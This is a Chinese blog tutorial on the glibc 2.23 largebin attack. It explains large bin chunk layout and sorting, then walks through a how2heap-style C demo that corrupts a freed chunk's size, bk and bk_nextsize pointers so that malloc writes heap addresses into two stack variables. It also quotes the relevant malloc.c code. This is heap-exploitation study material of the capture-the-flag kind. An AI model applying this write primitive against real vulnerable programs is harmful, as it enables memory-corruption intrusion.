largebin_attack

本文最后更新于 2024年10月18日 晚上

largebin_attack

large_bin

Large Bin

large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致

Large chunk的微观结构

大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的

  1. 被释放进Large Bin中的chunk,除了以前经常见到的prev_size、size、fd、bk之外,还具有fd_nextsize和bk_nextsize:
  2. fd_nextsize,bk_nextsize:用于较大的chunk(large chunk)
  3. fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针,fd指向与当前chunk相同大小的前一个空闲块
  4. bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针,bk指向与当前chunk相同大小的后一个空闲块
  5. 一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历
  6. 一个大于0x3f0的chunk被释放后挂进largebin

Large Bin的插入顺序

在index相同的情况下:

  1. 按照大小,从大到小排序(小的链接large bin块)
  2. 如果大小相同,按照free的时间排序
  3. 多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
  4. size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk

假设我们一次free实际大小为0x400,0x410,0x420,0x420,0x430,0x430可以得到下面这幅图

原理

我们用howheap2的源码来演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// gcc -g -no-pie hollk.c -o hollk
2 #include <stdio.h>
3 #include <stdlib.h>
4
5 int main()
6 {
7
8 unsigned long stack_var1 = 0;
9 unsigned long stack_var2 = 0;
10
11 fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
12 fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
13
14 unsigned long *p1 = malloc(0x320);
15 malloc(0x20);
16 unsigned long *p2 = malloc(0x400);
17 malloc(0x20);
18 unsigned long *p3 = malloc(0x400);
19 malloc(0x20);
20
21 free(p1);
22 free(p2);
23
24 void* p4 = malloc(0x90);
25
26 free(p3);
27
28 p2[-1] = 0x3f1;
29 p2[0] = 0;
30 p2[2] = 0;
31 p2[1] = (unsigned long)(&stack_var1 - 2);
32 p2[3] = (unsigned long)(&stack_var2 - 4);
33
34 malloc(0x90);
35
36 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
37 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
38
39 return 0;
40 }

简单解释一下程序,它先是定义了两个变量赋值为0,接着申请三个大小为0x320和0x400的chunk,中间申请的小chunk是为了防止合并,随后释放p1,p2,接着申请一个0x90的chunk,释放掉p3,接下来改变p2的size域,让他比p3小,然后将fd和fd_nextsize指针置空,把bk指向stack_var1-0x10,把bk_nextsize指向stack_var-0x20,最后申请0x90的chunk并打印两个变量的指针

调试

接下里我们一步步调试

直接断点到释放p1,p2

可以看到两个chunk被挂进了unsortedbin,但实际还可以细分,p1应该是属于smallbin的,p2是属于largebin的,unsorted bin只是一个过渡作用

此时申请一个0x90的chunk,别看很简单,实际上经历了多个步骤

  1. 根据大小把p2放进largebin,并标注largebin有空闲块
  2. 同样的把p1放进smallbin,并标注smallbin有空闲块
  3. 在smallbin中拿出一个chunk截取0x90满足申请
  4. 把剩下的chunk放入unsortedbin中

接着释放p3,并且修改p2的数据

可以看到,有五处内容被修改:

size部分由原来的0x411修改成0x3f1(重点※※※※※)
fd部分置空(不超过一个地址位长度的数据都可以)
bk由0x7ffff7dd1f68修改成了stack_var1_addr - 0x10(0x7fffffffdf18)
fd_nextsize置空(不超过一个地址位长度的数据都可以)
bk_nextsize修改成stack_var2_addr - 0x20(0x7fffffffdf10)

那么此时largebin的实际效果就是

bk_nextsize导致的地址任意写

那么接下来是再一次申请0x90的chunk并把p3挂进largebin

此时会根据p2和p3的大小来决定那个chunk更接近越接近large bin,越小越接近,即执行下面的代码

在2.23的glibc中的malloc.c文件中,比较的过程如下:

这里的条件是当前从unsorted bin中拿出的chunk的size是否小于large bin中前一个被释放chunk的size,如果小于,则执行while循环中的流程,但是很明显,我们修改了p2的size域,所以此时的p2是比p3大的,所以这个代码不会执行,直接进入接下里的判断

显然这两个chunk也不相等,下一个就是比较P3_size > P2_size的情况了

还记得我们前面是修改了p2的bk,和bk_next的,也就下面

1
2
P2->bk->fd<==>stack_var1_addr(P2的fd指向的堆块的fd指向的是stack_var1的地址)
P2->bk_nextsize->fd_nextsize<==>stack_var2_addr的地址(P2的bk_nextsize指向的堆块的fd_nextsize指向的是stack_var2的地址)

而上面的比较的代码可以解读为下面的情况

1
2
3
4
5
6
7
8
else
{
P3->fd_nextsize = P2; //P3的fd_nextsize要修改成P2的头指针
P3->bk_nextsize = P2->bk_nextsize; //P3的bk_nextsize要修改成P2的bk_nextsize指向的地址
P2->bk_nextsize = P3; //P2的bk_nextsize要修改成P3的头指针
P3->bk_nextsize->fd_nextsize = P3; //P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针
}
bck = P2->bk; //bck等于P2的bk

可能有点绕,那么我们一行行来看

因为P3->bk_nextsize = P2->bk_nextsize

又因为P2->bk_nextsize->fd_nextsize<==>stack_var2_addr

所以P3->bk_nextsize->fd_nextsize<==>stack_var2_addr

又因为P3->bk_nextsize->fd_nextsize = P3

所以stack_var2_addr=P3

大概fd/bk_nextsize的制定大概就是这么个流程

bk导致的地址任意写

在执行完对P3和P2的fd_nextsize和bk_nextsize的制定之后,还需要对两个large chunk的fd和bk进行制定:

上面的代码可以解释如下

1
2
3
4
5
mark_bin(av, victim_index);
P3->bk = p2->bk; //P3的bk指针要等于P2的bk指针
P3->fd = P2; //P3的fd指针要等于P2的头指针
P2->bk = P3; //P2的bk指针要等于P3的头指针
P2->bk->fd = P3; //P2的bk指针指向的堆块的fd指针要等于P3的头指针

同理stack_var1_addr=P3

查看修改结果

最后我们将直接运行程序至结束,再一次查看一下此时stack_var1和stack_var2中的值

可以看到两个变量的值已经变成p3的指针了

malloc.c中从unsorted bin中摘除chunk完整过程代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

参考文章

Large Bin Attack-wiki

好好说话之Large Bin Attack

浅析largebin attack


largebin_attack
http://example.com/2024/10/18/largebin-attack/
作者
清风
发布于
2024年10月18日
许可协议